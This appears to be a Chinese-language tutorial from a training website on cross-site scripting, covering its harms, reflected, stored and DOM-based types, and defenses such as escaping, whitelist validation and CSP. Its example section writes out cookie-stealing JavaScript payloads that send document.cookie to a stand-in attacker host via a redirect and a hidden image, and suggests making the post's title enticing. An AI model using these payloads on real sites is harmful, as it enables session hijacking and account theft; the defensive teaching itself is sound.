下载安卓APP箭头
箭头给我发消息

客服QQ:3315713922

谈谈怎么防范XSS攻击

作者:课课家教育     来源: http://www.kokojia.com点击数:846发布时间: 2019-02-24 14:02:48

标签: 信息安全工程师应用安全工程XSS攻击web安全威胁

软考,您想通过吗?一次通过才是硬道理

     在web应用中的计算机中我们经常都会发现XSS这种安全漏洞,它给我们的网络安全带来了威胁,防范XSS攻击需要我们义不容缓去做的。但该怎么去防范,大家是否都知道呢?在这里小编就为大家简单介绍一下XSS以及防范XSS的几种方法。

  XSS攻击是什么?

  xss攻击是web攻击中非常常见的一种攻击手段,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而Javascript是新型的“ShellCode”。

  XSS攻击的危害

  1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

  2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

  3、盗窃企业重要的具有商业价值的资料

  4、非法转账

  5、强制发送电子邮件

  6、网站挂马

  7、控制受害者机器向其它网站发起攻击

  XSS攻击的类型

  1.非持久性XSS攻击

  非持久性XSS也称为是反射跨站漏洞。它是最常见的XSS类型。在这,注入数据反射给攻击者。典型的非持久性XSS包含与XSS的链接。

  2.持久性XSS攻击(存储性)

  持久性跨站脚本是存储跨站点脚本。当它发生时XSS变量存储在网站的数据库,每当用户打开网页时执行。每次用户打开浏览器,脚本执行。持久性XSS比非持久性XSS更有害,因为每当用户打开要查看的内容的网页时,将自动执行该脚本。

  3.基于DOM的XSS攻击

  基于DOM的XSS有时也称为”type-0 XSS”。它发生时,XSS变量执行由DOM修改用户的浏览器网页的结果。在客户端的HTTP响应不会更改,但以恶意的方式执行的脚本。这这是最先进和最知名的type-0 XSS。大多数情况下,这个漏洞之所以存在是因为开发商不了解它是如何工作。

  XSS攻击原理与目的

  XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把等符号转义

举例子来说明:

 谈谈怎么防范XSS攻击_信息安全工程师_应用安全工程_XSS攻击_web安全威胁_课课家

     上面的是一个网络分享图片的代码。在src中直接写入了javascript:alert('xss');等操作成功后就会生成一个帖子,如果用户用IE6、7打开这个帖子的话,就会出现下面所示的alert('xss')弹窗。 如图:

 在src中直接写入了javascript:alert('xss');等操作成功后就会生成一个帖子,如果用户用IE6、7打开这个帖子的话,就会出现下面所示的alert('xss')弹窗

  我们可以吧标题设计得吸引人一些,这样会比较容易让用户点击,如果将里面的alert换成恶意代码,比如:

  location.href='http://www.xss.com?cookie='+document.cookie’。这样我们就能把用户的cookie拿到,假如没有将服务端session设置成过期的话,以后甚至可以拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。

  这里的location.href只是处于简单这样做,如果做了跳转这个帖子很快会被管理员删除,但是如果写如下代码,并且帖子的内容也是比较真实的,说不定这个帖子就会祸害很多人:

     var img = document.createElement('img');

  img.src='http://www.xss.com?cookie='+document.cookie;

  img.style.display='none';

  document.getElementsByTagName('body')[0].appendChild(img);

     这样做的话,用户当前的cookie就会被发送到设计好的恶意站点,而恶意站点通过获取get参数就可以拿到用户的cookie,并且听过这样的方式用户的许多数据都可以拿到。

  防范XSS的措施

  防止XSS 需要将不可信数据与动态的浏览器内容区分开。

  ·根据数据将要置于的HTML上下文(包括主体、属性、JavaScript、CSS 或URL)对所有的不可信数据进行恰当的转义Cescape) ,或者是去掉<>,没有html标签,页面就是安全的。

  ·"白名单"的,具有恰当的规范化和解码功能的输入验证方法同样会有助于防止跨站脚本。但由于很多应用程序在输入中需要特殊字符,这一方法不是完整的防护方法。这种验证方法需要尽可能地解码任何编码输入,同时在接受输入之前需要充分验证数据的长度、字符、格式和任何商务规则。

  ·用内容安全策略CCSP) 来抵御整个网站的跨站脚本攻击。

  ·用户学会控制自己的好奇心,尽量不去单击页面中不安全的链接。

  以上就是本文所有的内容了,通过阅读后邪王可以帮助大家更好地去理解XSS以及更好地运用这些防范措施。喜欢的同学请给小编一个赞哦,谢谢!

赞(14)
踩(0)
分享到:
推荐查看
华为认证网络工程师 HCIE直播课视频教程